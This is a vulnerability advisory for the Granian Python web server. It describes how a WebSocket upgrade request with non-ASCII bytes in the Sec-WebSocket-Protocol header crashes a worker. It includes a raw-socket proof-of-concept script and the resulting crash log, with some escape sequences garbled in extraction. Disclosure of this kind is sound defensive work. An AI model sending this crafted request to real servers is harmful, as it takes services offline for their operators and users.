PT-2026-59166 · Pypi · Granian

Published

2026-07-13

·

Updated

2026-07-13

CVSS v3.1

7.5

High

VectorAV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

Summary

Granian aborts a worker process when an unauthenticated client sends a WebSocket upgrade request whose Sec-WebSocket-Protocol header contains non-ASCII bytes.
The crash happens in Granian's WebSocket scope construction path, before the ASGI application is invoked.
This is a single-request Denial Of Service against one worker. Repeating the request across workers takes the service offline.

Details

HeaderValue::to str() returns Err for bytes outside visible ASCII. The subsequent .unwrap() panics.
In release builds Granian sets panic = "abort", so this panic terminates the worker instead of being handled as a normal request error.

PoC

Step 1.

starts a Granian ASGI server
python
# app.py
async def app(scope, receive, send):
  if scope["type"] == "websocket":
    await receive()
    await send({"type": "websocket.accept"})
    return

  await send({"type": "http.response.start", "status": 200, "headers": []})
  await send({"type": "http.response.body", "body": b"ok"})
bash
granian --interface asgi app:app --host 127.0.0.1 --port 8000

Step 2.

sending a raw upgrade request with Sec-WebSocket-Protocol: x80xff reached this code path and caused the worker to abort.
python
# ws-subproto-crash.py
import base64, os, socket, sys

host, port, path = sys.argv[1], int(sys.argv[2]), sys.argv[3]
key = base64.b64encode(os.urandom(16)).decode()

req = (
  f"GET {path} HTTP/1.1r
Host: {host}:{port}r
"
  "Upgrade: websocketr
Connection: Upgrader
"
  f"Sec-WebSocket-Key: {key}r
Sec-WebSocket-Version: 13r
"
).encode() + b"Sec-WebSocket-Protocol: x80xffr
r
"

with socket.create connection((host, port), timeout=5) as s:
  s.sendall(req)
  print(s.recv(4096))
bash
python ws-subproto-crash.py 127.0.0.1 8000 /
Observed server output:
thread '<unnamed>' panicked at src/asgi/utils.rs:125:44:
called `Result::unwrap()` on an `Err` value: ToStrError { priv: () }
[ERROR] Unexpected exit from worker-1
[INFO] Shutting down granian

Impact

  • Unauthenticated remote denial of service
  • One crafted request kills one worker
  • The application is never reached, so application-level authentication or routing does not mitigate the issue

Fix

Found an issue in the description? Have something to add? Feel free to write us 👾

Related Identifiers

PYSEC-2026-2503

Affected Products

Granian